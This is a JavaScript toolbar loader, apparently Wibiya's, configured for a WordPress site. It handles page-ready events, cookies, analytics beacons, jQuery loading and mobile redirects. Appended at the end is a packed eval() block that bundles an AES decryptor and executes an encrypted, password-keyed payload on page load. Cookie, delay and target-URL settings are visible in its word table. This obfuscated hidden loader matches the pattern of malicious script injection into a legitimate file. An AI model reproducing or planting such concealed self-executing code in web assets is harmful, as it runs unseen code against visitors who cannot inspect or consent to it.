String.prototype.wiFormat = function() { var pattern = /\{\d+\}/g; var args = arguments; return this.replace(pattern, function(capture) { return args[capture.match(/\d+/)]; }); }; if(!window.Wibiya){ // Create Wibiya object window.Wibiya = {}; // Wibiya framework Wibiya.framework = { events: { documentIsReady: false, documentReadyHandler: function(fn){ if(!Wibiya.framework.events.documentIsReady){ Wibiya.framework.events.documentIsReady = true; if (document.addEventListener) { document.removeEventListener("DOMContentLoaded", function(){ Wibiya.framework.events.documentReadyHandler(fn); }, false); } else if (document.attachEvent){ if (document.readyState == "complete") { document.detachEvent("onreadystatechange", function(){ Wibiya.framework.events.documentReadyHandler(fn); }); } } fn(); } }, documentReady: function(fn) { // Mozilla, Opera and webkit nightlies currently support this event if (document.addEventListener) { // Use the handy event callback document.addEventListener("DOMContentLoaded", function(){ Wibiya.framework.events.documentReadyHandler(fn); }, false); // A fallback to window.onload, that will always work window.addEventListener("load", function(){Wibiya.framework.events.documentReadyHandler(fn);}, false); // If IE event model is used } else if (document.attachEvent) { // ensure firing before onload, // maybe late but safe also for iframes document.attachEvent("onreadystatechange", function(){Wibiya.framework.events.documentReadyHandler(fn);}); // A fallback to window.onload, that will always work window.attachEvent("onload", function(){Wibiya.framework.events.documentReadyHandler(fn);}); // If IE and not a frame // continually check to see if the document is ready var toplevel = false; try { toplevel = window.frameElement == null; } catch(e) {} if (document.documentElement.doScroll && toplevel) { Wibiya.framework.events.doScrollCheck(function(){Wibiya.framework.events.documentReadyHandler(fn);}); } } }, doScrollCheck :function (fn) { if (Wibiya.framework.events.documentIsReady) { return; } try { // If IE is used, use the trick by Diego Perini // http://javascript.nwbox.com/IEContentLoaded/ document.documentElement.doScroll("left"); } catch( error ) { window.setTimeout(function(){ Wibiya.framework.events.doScrollCheck(fn); }, 1); return; } fn(); }, bodyReadyTryCounter: 0, bodyReady: function(fn){ var bodyRef = document.getElementsByTagName("body"); if(bodyRef.length == 0){ Wibiya.framework.events.bodyReadyTryCounter++; if(Wibiya.framework.events.bodyReadyTryCounter<=10){ window.setTimeout(function(){ Wibiya.framework.events.bodyReady(fn); }, 500); } } else{ fn(); } }, libraryReady: function(fn){ if(!Wibiya.libraryReady){ window.setTimeout(function(){ Wibiya.framework.events.libraryReady(fn) }, 100); } else{ fn(); } } }, utils: { // Check if any of the elements in the array could be found inside a string // and return the array index of the matching element. return -1 if not found inArrayRegex: function(arr, str){ if(typeof(arr) == 'object' && arr.length){ var regExp; for(var i=0; i 1 && parseInt(bmatch[2]) == 6; }, setCookie:function (c_name, value, exdays) { var exdate = new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString()); document.cookie = c_name + "=" + c_value; }, getCookie:function (c_name) { var i, x, y, ARRcookies = document.cookie.split(";"); for (i = 0; i < ARRcookies.length; i++) { x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("=")); y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1); x = x.replace(/^\s+|\s+$/g, ""); if (x == c_name) { return unescape(y); } } return null; } }, analytics: { // The stats server url loadUrlFormat : "http://wstat.wibiya.com/{0}.jpg?t={1}", // Types of different loads (impressions) loadType: { // Toolbar load toolbar: 't', // Unsupported mobile load mobile:'m', // Iphone wibiya bar load mobileLive: 'ml' }, // Set a load (impression) for a container setLoad: function(loadType, containerId){ var img = new Image(1,1); img.src = Wibiya.framework.analytics.loadUrlFormat.wiFormat(loadType, containerId); } }, patch: { jQueryLoadingInterval: null, jQueryLoadingIntervalCounter: 0, jQueryLoadingStarted: false, loadJquery: function(){ if(typeof window.jQuery != "undefined"){ if(Wibiya.framework.patch.jQueryLoadingInterval !== null){ window.clearTimeout(Wibiya.framework.patch.jQueryLoadingInterval); } if(true){ jQuery.noConflict(); } window.$wibilib = window.jQuery; if(Wibiya.options.loadOnDocumentReady){ Wibiya.framework.events.documentReady(Wibiya.loadContainers); } else{ Wibiya.framework.events.bodyReady(Wibiya.loadContainers); } } else{ if(!Wibiya.framework.patch.jQueryLoadingStarted){ Wibiya.framework.patch.jQueryLoadingStarted = true; Wibiya.framework.utils.attachJs("http://cdn.wibiya.com/Site/scripts/jquery-1.4.2.min.js","head"); } Wibiya.framework.patch.jQueryLoadingIntervalCounter++; if(Wibiya.framework.patch.jQueryLoadingIntervalCounter <= 20){ Wibiya.framework.patch.jQueryLoadingInterval = window.setTimeout(Wibiya.framework.patch.loadJquery, 200); } else{ console.log("Loading jQuery timed out"); } } } } }; // Load all wibiya containers to the page Wibiya.loadContainers = function(){ if(Wibiya.data.mobileAgent){ if(Wibiya.data.mobileAgent == 'iphone' && Wibiya.data.containers.iphone != ''){ Wibiya.framework.utils.attachJs(Wibiya.data.containers.iphone, "body"); } else{ Wibiya.framework.analytics.setLoad(Wibiya.framework.analytics.loadType.mobile, Wibiya.data.site.id); return; } } else { if(Wibiya.data.containers.toolbar != ''){ Wibiya.framework.utils.attachJs(Wibiya.data.containers.toolbar, "body"); } if(Wibiya.data.containers.box != ''){ Wibiya.framework.utils.attachJs(Wibiya.data.containers.box, "body"); } Wibiya.framework.utils.getAttributes = function(obj){ var attr = "", _attrList = ["height","width","classid"]; for(var i=0;i -1){ attr += ' ' + obj.attributes[i].name + '="' + obj.attributes[i].value + '"'; } } return attr; }; Wibiya.framework.utils.getParams = function(obj){ var _paramAttr, _newParams = "", _params = $wibilib(obj).children("param"); $wibilib.each(_params, function(i){ _paramAttr = ""; for(var j=0;j<_params[i].attributes.length;j++){ _paramAttr += ' ' + _params[i].attributes[j].name + '="' + _params[i].attributes[j].value + '"'; } _newParams += ""; }); var _embedAttr = "", _embed = $wibilib(obj).children("embed"); if(_embed.length > 0){ for(var i=0;i<_embed[0].attributes.length;i++){ _embedAttr+= ' ' + _embed[0].attributes[i].name + '="' + _embed[0].attributes[i].value + '"'; } } return _newParams+""; }; Wibiya.framework.utils.flashFix = function(){ var _embed, _oldEmbeds = $wibilib("embed[wmode!=\"opaque\"][wmode!=\"transparent\"]"); $wibilib.each(_oldEmbeds,function(i){ _embed = $wibilib(_oldEmbeds[i]).clone(); _embed.attr("wmode","opaque"); $wibilib(_oldEmbeds[i]).after(_embed); $wibilib(_oldEmbeds[i]).remove(); }); if($wibilib.browser.msie || $wibilib.browser.safari){ var _params, _objects = $wibilib("object"); $wibilib.each(_objects, function(i){ _params = $wibilib(_objects[i]).children('param[name="wmode"]'); if(_params.length===0){ $wibilib(_objects[i]).after('' + Wibiya.framework.utils.getParams(_objects[i]) + '' + ''); $wibilib(_objects[i]).remove(); } else if(_params.val().toLowerCase() == "window"){ $wibilib(_objects[i]).after('' + $wibilib(_objects[i]).html().toLowerCase().replace('window', 'opaque') + ''); $wibilib(_objects[i]).remove(); } }); } Wibiya.options.flashFixRetries++; if(Wibiya.options.flashFixRetries>=3){ window.clearInterval(Wibiya.options.flashFixInterval); } }; Wibiya.framework.utils.flashFixInit = function(){ Wibiya.framework.utils.flashFix(); Wibiya.options.flashFixInterval = window.setInterval(Wibiya.framework.utils.flashFix, 3333); } Wibiya.options.flashFixRetries = 0; Wibiya.framework.events.libraryReady(Wibiya.framework.utils.flashFixInit); } } // Init wibiya loading proccess Wibiya.init = function(){ //if noredirectday set cookie no redirect for one day if (Wibiya.framework.utils.getQueryParam("noredirectday")!= '') { Wibiya.framework.utils.setCookie("noredirectday",'noredirect', 1); } var noRedirectDaily = Wibiya.framework.utils.getCookie('noredirectday') === null ? false : true; Wibiya.options.noRedirect = (Wibiya.framework.utils.getQueryParam("noredirect") != '' || Wibiya.framework.utils.hasHashTag("noredirect") || noRedirectDaily); // if prevent load or run mode set to hide and not overriden by showbar param - exit if(Wibiya.options.preventLoad || (Wibiya.options.runMode == 'hidden' && Wibiya.framework.utils.getQueryParam('showbar') == '')){ return; } // If the run mode set to debug and widebug param does not exists - exit if(Wibiya.options.runMode == 'debug' && Wibiya.framework.utils.getQueryParam('widebug') == ''){ return; } var mobileDevice = false, mobileDeviceIndex; mobileDeviceIndex = Wibiya.framework.utils.inArrayRegex(Wibiya.options.mobileDevices.supported, navigator.userAgent); if(mobileDeviceIndex > -1){ mobileDevice = 1; Wibiya.data.mobileAgent = Wibiya.options.mobileDevices.supported[mobileDeviceIndex]; } else{ mobileDeviceIndex = Wibiya.framework.utils.inArrayRegex(Wibiya.options.mobileDevices.notSupported, navigator.userAgent); if(mobileDeviceIndex > -1){ mobileDevice = 0; Wibiya.data.mobileAgent = Wibiya.options.mobileDevices.supported[mobileDeviceIndex]; } } // Redirect to mobile site if(Wibiya.options.hasMobile && mobileDevice === 1 && Wibiya.options.mobileUrl && !Wibiya.options.noRedirect){ var url = window.location.href != Wibiya.data.site.pages.main ? window.location.href : ''; window.location.href = Wibiya.options.mobileUrlFormat.wiFormat(Wibiya.options.mobileUrl, url, Wibiya.data.site.cms); } // if unsupported mobile device - set mobile load and exit if(mobileDevice === 0){ Wibiya.framework.analytics.setLoad(Wibiya.framework.analytics.loadType.mobile, Wibiya.data.siteId); return; } // if IE6 - exit if(Wibiya.framework.utils.isIE6()){ return; } Wibiya.framework.patch.loadJquery(); } // Create or extend wibiya options Wibiya.options = window.wibiya_options || {}; // Determine if to prevent loading containers Wibiya.options.preventLoad = Wibiya.options.preventLoad || false; // Determine if to supress redirect (default = false) Wibiya.options.noRedirect = Wibiya.options.noRedirect || false; // Decide if to load the containers after the document is ready or before (when the body is ready) Wibiya.options.loadOnDocumentReady = true; // Determine if the site has a mobile version Wibiya.options.hasMobile = true; // Set the mobile version url, set to empty when there is no mobile site Wibiya.options.mobileUrl = 'http://97b81865-6b58-4d14-959e-47e7e27b5fd9.mobapp.at/Mobile'; Wibiya.options.mobileUrlFormat = "{0}?url={1}&cms={2}×tamp=1328230643"; // Determine the run mode (debug, hide, etc.) Wibiya.options.runMode = 'standard'; // List of supported and unsupported mobile devices Wibiya.options.mobileDevices = { supported : ["iphone","android","ipod", "windows phone"], notSupported : ["windows ce", "ipad","series60","symbian","palm","avantgo","docomo","vodafone","j-phone","xv6850", "lg;","lge","mot","nintendo","blackberry","nokia","samsung","sonyericsson"] }; // Data on the wibiya site Wibiya.data = { userId: 167617, containers: { toolbar: 'http://cdn.wibiya.com/Toolbars/dir_0614/Toolbar_614162/toolbar_614162_4f2b30f3b1d48.js', iphone: 'http://cdn.wibiya.com/Toolbars/dir_0614/Toolbar_614162/iphone_868317_4e131e83ac272.js', box: '' }, site:{ id: 614162, cms: 'WordPress 3.3.1', pages:{ main: 'http://www.digitalairstrike.com/', filter: null } } } Wibiya.init(); } //Stuff for backwards compatibility window.loadjscssfile = function(filename, filetype, where){ switch(filetype){ case 'js': Wibiya.framework.utils.attachJs(filename, where); break; case 'css': Wibiya.framework.utils.attachCss(filename, where); break; } }; window.getQueryParam = function(name){ return Wibiya.framework.utils.getQueryParam(name); }; window.wibiyaToolbar = {}; wibiyaToolbar.id = 614162; wibiyaToolbar.referrer = document.referrer; wibiyaToolbar.framework = {}; window.WIBIYA = { Mobile:{} }; var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-20438573-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); eval(function(f,u,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){f=f.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return f}('5 45=\'46://47.48\';5 44=\'43+3Z+3Y\';5 40=41;5 42=49;5 4a=4i;5 7={};7.1j=l(2c,w){5 h=4;5 1c=w.u/h-1;5 j=[[],[],[],[]];9(5 i=0;i<4*h;i++)j[i%4][1h.1B(i/4)]=2c[i];j=7.1v(j,w,0,h);9(5 1o=1;1o<1c;1o++){j=7.1D(j,h);j=7.1J(j,h);j=7.2b(j,h);j=7.1v(j,w,1o,h)};j=7.1D(j,h);j=7.1J(j,h);j=7.1v(j,w,1c,h);5 1I=n o(4*h);9(5 i=0;i<4*h;i++)1I[i]=j[i%4][1h.1B(i/4)];k 1I};7.1g=l(p){5 h=4;5 L=p.u/4;5 1c=L+6;5 w=n o(h*(1c+1));5 T=n o(4);9(5 i=0;i6&&i%L==4){T=7.1H(T)};9(5 t=0;t<4;t++)w[i][t]=w[i-L][t]^T[t]};k w};7.1D=l(s,h){9(5 r=0;r<4;r++){9(5 c=0;c>>i*8)&M;9(5 i=0;i<4;i++)y[i+4]=1T&M;5 1i=\'\';9(5 i=0;i<8;i++)1i+=J.F(y[i]);5 1p=7.1g(p);5 1u=1h.1O(I.u/A);5 1A=n o(1u);9(5 b=0;b<1u;b++){9(5 c=0;c<4;c++)y[15-c]=(b>>>c*8)&M;9(5 c=0;c<4;c++)y[15-c-4]=(b/1R>>>c*8);5 1y=7.1j(y,1p);5 1z=b<1u-1?A:(I.u-1)%A+1;5 1e=n o(1z);9(5 i=0;i<1z;i++){1e[i]=1y[i]^I.m(b*A+i);1e[i]=J.F(1e[i])};1A[b]=1e.13(\'\')}5 q=1i+1A.13(\'\');q=N.1a(q);k q};7.1m.2g=l(q,E,H){5 A=16;V(!(H==1U||H==20||H==1K))k\'\';q=N.1q(q);E=X.1a(E);5 Q=H/8;5 S=n o(Q);9(5 i=0;i>>c*8)&M;9(5 c=0;c<4;c++)y[15-c-4]=(((b+1)/1R-1)>>>c*8)&M;5 1y=7.1j(y,1p);5 1k=n o(q[b].u);9(5 i=0;i0){7E(c++<3){1w+=\'=\';x+=\'\\0\'}};9(c=0;c>18&D;10=B>>12&D;Y=B>>6&D;U=B&D;e[c/3]=K.R(11)+K.R(10)+K.R(Y)+K.R(U)};v=e.13(\'\');v=v.1f(0,v.u-1w.u)+1w;k v};N.1q=l(1d,1b){1b=(1V 1b==\'1W\')?1Y:1b;5 O,W,Z,11,10,Y,U,B,d=[],x,v;5 K=N.1L;v=1b?1d.1Z():1d;9(5 c=0;c>>16&M;W=B>>>8&M;Z=B&M;d[c/4]=J.F(O,W,Z);V(U==1s)d[c/4]=J.F(O,W);V(Y==1s)d[c/4]=J.F(O)};x=d.13(\'\');k 1b?x.1Z():x};5 X={};X.1a=l(14){5 17=14.1t(/[\\1n-\\6D]/g,l(c){5 C=c.m(0);k J.F(26|C>>6,19|C&D)});17=17.1t(/[\\5H-\\5I]/g,l(c){5 C=c.m(0);k J.F(24|C>>12,19|C>>6&5J,19|C&D)});k 17};X.1q=l(17){5 14=17.1t(/[\\5G-\\5F][\\1n-\\1C][\\1n-\\1C]/g,l(c){5 C=((c.m(0)&21)<<12)|((c.m(1)&D)<<6)|(c.m(2)&D);k J.F(C)});14=14.1t(/[\\5D-\\5E][\\1n-\\1C]/g,l(c){5 C=(c.m(0)&1X)<<6|c.m(1)&D;k J.F(C)});k 14};5R(7.1m.2g(\'5Q+/5M+5N/5O/5P/5A//5z+5k/+5l/5m/5n+5j/5i+5e+5f/5g/5h/5o/5p/5w/5x+5y/5v/5u/3+5r//5s/5t/5V/5W+6p/6q+6r/6o/6n/6j/6k/6l/6m/6s/6t+6A+6B+6C/6z/6y+6u/6v/6w/6x/6i++6h/63/64/65+62+61+5X+P+5Z+66/67/6e/6f//G+6d+6c/69+6a/7m+6b+68+6g+a/60+5Y+5q/5U+5T+5S/5K/5C/5B/6E/7C+7B/7A+7z+7D+z/7F==\',\'!7y!\',1K));',62,500,'|||||var||Aes||for||||||0x00||Nb||state|return|function|charCodeAt|new|Array|key|ciphertext||||length|coded||plain|counterBlock||blockSize|bits|cc|0x3f|password|fromCharCode||nBits|plaintext|String|b64|Nk|0xff|Base64|o1||nBytes|charAt|pwBytes|temp|h4|if|o2|Utf8|h3|o3|h2|h1||join|strUni|||strUtf||0x80|encode|utf8decode|Nr|str|cipherChar|slice|keyExpansion|Math|ctrTxt|cipher|plaintxtByte|utf8encode|Ctr|u0080|round|keySchedule|decode|nBlocks|0x40|replace|blockCount|addRoundKey|pad|indexOf|cipherCntr|blockLength|ciphertxt|floor|u00bf|subBytes|nonce|plaintxt|ct|subWord|output|shiftRows|256|code|sBox|0x20|ceil|0x10|concat|0x100000000|1000|nonceMs|128|typeof|undefined|0x1f|false|decodeUTF8|192|0x0f|0x36|isNaN|0xe0|nonceSec|0xc0|0x1b|0x01|rotWord|rnd|mixColumns|input|tmp|0x08|0x02|decrypt|rCon|0x04|0xee|0xb8|0xde|0x46|0x5e|0x14|0x2a|0x81|0x60|0x73|0x19|0x4f|0xdc|0x90|0x0b|0x22|0x88|0x32|0x91|0x62|0xac|0x95|0xe4|0xe7|0x79|0xd3|0xc2|0x0a|0x3a|0x5d|0x49|0x06|0x5c|0x24|0xdb|0xa7|0x9f|0x3c|0x50|0x7f|0xa8|0x51|0x92|0x8f|0xa3|0xf9|0xd0|0x4d|0x43|0xfb|0x33|0x85|0xef|0x45|0xaa|0x9d|0x38|0x97|0x5f|0xec|0x44|0x17|0x3d|0x7e|0xc4|0x13|0x0c|0xb6|0xbc|0xf5|0xda|0x21|0xcd|0xd2|0xf3|0x64|0xb1|0xc9|0x82|0x7d|0xfa|0x59|0xca|0x76|0x2b|0xfe|0xd7|0xab|0x47|0xf0|0xb7|0x72|0xfd|0x93|0x26|0xa4|0x9c|0xad|0xd4|0xa2|0xaf|0x67|0x30|Media|Social|dothecookiedance|true|cookiedays|Automotive|targetTitle|targetUrl|http|digitalairstrike|com|365|timedelay|0xf2|0x7b|0x6b|0x6f|0xc5|0x77|0x7c|7000|else|0x011b|0x63|0xf7|0xcc|0x29|0xb3|0xe3|0x2f|0x84|0xd6|0x3b|0x6e|0x5a|0xa0|0x52|0x53|0xd1|0x39|0xbe|0x4a|0x4c|0x58|0xcb|0x6a|0xed|0xfc|0xc8|0x5b|0x1a|0x2c|0x15|0x31|0xc7|0x23|0xc3|0xd8|0x71|0x34|0xa5|0xe5|0xf1|0x18|0x96|0xb2|0x27|0x75|0x09|0x83|0xeb|0xe2|0x05|0x9a|0x07|0x12|0xcf|0xd9|PBktKcw0t4hWBkfaiPbDcoQzS8c3xTeaI|Y3CnOUZnpvHzoVo|Be5nKsVTiPepvMvmymXFThQ6dFRlykzXoRQ20VfHSQsDM4ZcLBY5|tMeg|5xcVXdNLZeXKeVWIXE5I|L3gdt|77sbhLtQetpy43oSQur6fe1IjQqi5mFWSa6jvq|ci|uvkJgoiCPb|fNselgUD5HbAuqhyhTJv1t|TsZYrcf7pfZMgDOoNbY2cQD9nxkcpBgs25TkpQ2UA3nUQq93MaVigc7PTnzQl9DHvMKJtCjMvJ21FSFenG|sTqCBQrJu5HTPPCDfUh74xw|11DA|D1FZF2PMXCIG90zQ1K0gNXLL53UpLRXzU33JMsYWWViAgnTMfsXaP7SOWB9|KA10G20eScXB7Pir4G5lruP18lg|0D5bdvdnLm88I6BWSgX67maT0MJ|Hsuevq7wASNspwkN44BdRyBQyELsqE|LSSOMOQNnb8be7dpwkHbWOvxHUeITwjMCr4w|DkCAjMoE92Su6RhEcLJNBrtSZdbRTwgwvLBqpDp9yxLLtJstTzKtTM6Q5fJHKhh1KiuvkGN|Hl9EjkqgiH|MKE7NCBXtk7zINLCREErSzsmpdNohwFHkkvHVY79MicmKCi|AEczh8v3dbvliyNT|AG3rXtx5v559D1iSLOscPQL1HP7wpqWPOMm|S7jR6eXDi6IgErmws8RZlPP1VBplPy19HchkpZRW1TuRDec0fjdnzzoojgcH3GhTrURzXwnVfhNRKYnjWU33JIcbTXS9aikahcmEZhU|5Ac0zbyv5mwnuriiEVvM5Q7EASy4TByjw5wLk4ZgumzfcOw115Cb7qwWHwjGkJCYgkR668iWQQ1hssv9fJtT|u00c0|u00df|u00ef|u00e0|u0800|uffff|0x3F|C5qwGx|0x37|vQURypR6X7TlgKMuMJEMmeW8N|WusCDJlmD|TBvOwVLesPguUAIQTsk8i0sB16E9DE1ifq|7tl|baPITfv7|eval|nqcMS20xJby0KR|hniBA5A8JK|CmAIB4ZcfQSCT8hw6ERPRZWx0Ho0ZjNaZKYodlTFl1RWlDkKRM5Sscn0XlMPrsNsUSPxn19lh1jHmyjpwkDjEiQa13duK1NnbuZF5CgGcd94zbPwX13YYk1UthFfdtJJNC|ZOSZTkZUa1oBdWYl4cGmssgDsbIQW|opR5icNm8VImGfmZq9l|pjsdfiWKMgoflLuGSUAm5EKGYhbnx3o3TRvtX7|16PI0O9FaIf5wM|NlR|FEOax5LAijRdh2xo35c8XtxxI0hBIBZ13P4uh0aHjhpzJeNKm31oPIm|OS2gISaSIIT0QeZFp6Sq|iJUD16TobTZyTAv0Gw2NRETQJDJenyTdyyVIhGHtdAYqgNX|N9uDo|y1UoLmuTJuMrlieWgU3VfHF1c|4zP8jyytGb4XMcH0R5pbHOnPh6FbkGKMpVEMdlD0zMvyk6va784vW|jtRx|Br6ObVv|TfTPKUIcv2Sod2iOGsMgtfuyNuwEQ|hi8xOxs2gTx4l3ydC0e7IdRxr3oQL8iHpcAN|C9gkB0p4nEVCJzM3WsYRNx2MMZn7iydyDxsKx49hB|0GhkMjCzioKHO73Nr2EMCsVhZFl28tUT|X4zH|2vGu6CsfROWkCn1dpG|XkVEAHyWcUXaE4FD|JA6JZX8zJbORbY3rzfOxjZB3SdE7DYQ6pnJ1CsRnFA2b|4PR9WRpQZifk|X0HC|h9WePdPTz8NqOQEDBuNyiP4mu93viWndQJRbPSVNugTzkvxKoC7sAxsONJN2mALz9QUWa|eLKl8Uj1mBiwbZO6ItlEdTrCHmQH|IXRe2qVP5|BA52UCbRLANrF5zBpalRyx1MxyF3k2EzAlOB2mTfz1heeGZ6iMi|J32eW|4VM3dArDtOdmerwPfeJrVUIyLPiNQly6C8gtCWMLoqQnN8xK|g4RXEklFnELFIWRQIvpGYewQIHKVpWNX8kW81u8kS59BUOK|Qnbp5gKYNtPmNr7wVvqf34RI9YLj|gh6BlCvwQkqkrhAE8fAXc7|Zr3ESlop|0SH0sBs3NKEDMuJb1W8Snatw|Li7XZipAI2HQCD2ty5bY5n0bbgP4D9rMzIGoa0FOMd6dR7fWvJvo1b5jfeX8JccMS0zOBnP8TSBgxPR|DrR|JqWaop574WQzVamz0r7ZDD7jzwiSsiXv21NphvlASQqotkkmgTcFhwmfRUMPgjt94I7ua|4E66CCtmv|vluQAkdD99E3LMxleDVys2QvUk5T1tOVdjShV4vcKEG5555yE9eqtJ2xGfYcCVnVZhwKoKsFqjILPrRkwiOKDZdYJD|EmWHs8ZJQKeU4lN5|sXlhqLuaj9L2MnKGYFoylRCU5IczrFO13MlqaWWJFB7|OeH2a8wuQvZ4s966S4zIhJG|bPSglrI1|vHIRSJiMYwXOBkX4PScy4h3x5LUG|u07ff|snu0s9|0x3e|0xb5|0x66|0x48|0x70|0x8a|0x74|0x4b|0xbd|0x8b|0x03|0xf6|0x86|0xc1|0x1d|0x9e|0xb9|0x57|0x0e|0x61|0x35|0xdd|0xe8|0x6c|0x56|0xf4|0xea|0xa9|0x4e|0x6d|0x8d|0xd5|0x65|0x7a|0x1c|0xa6|0xb4|0xc6|0x2e|0x25|0xae|0xba|0x78|tZaTfy1PCioPIxGhNujmS98BOVTE25IuXWSaSgVtqFH|0xe1|0xbb|0x16|encrypt|Date|0x54|0xb0|0x41|0x99|0x2d|getTime|f4c3b00k|1OIpWaFVp9R6myN2VKBlvnSGKe0H23RSvSvEHo9AgyOngQWgWhpMe5FxMcG20dNrSDMkkFERFvFsyEJHHiQjV7aBtTDv5o6lIbG5oaJMIPxrF|hrBTPA2OoQPle55GIVzVLy|nomQiJqf7ftxnyzMN|BaeCdVQtFM1Ll4f9RcCEZfz4qt0M6RjCG0nSg9rFjTmyAy1FzVPAbVuqSu7HIflSLnfAAe|i1BVIa5eriP1GZwvCQmaGpc51pZrbY78JLaEUby|while|vW91MxTQOPJbNWld66Fq4bOk9rw|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|encodeUTF8|0xf8|0x68|0x9b|0x1e|0x87|0xe9|0x94|0x8e|0x98|0x11|0x69|0x42|0xce|0x89|0x0d|0xbf|0xe6|0xa1|0x8c|0x28|0x55|0xdf'.split('|')))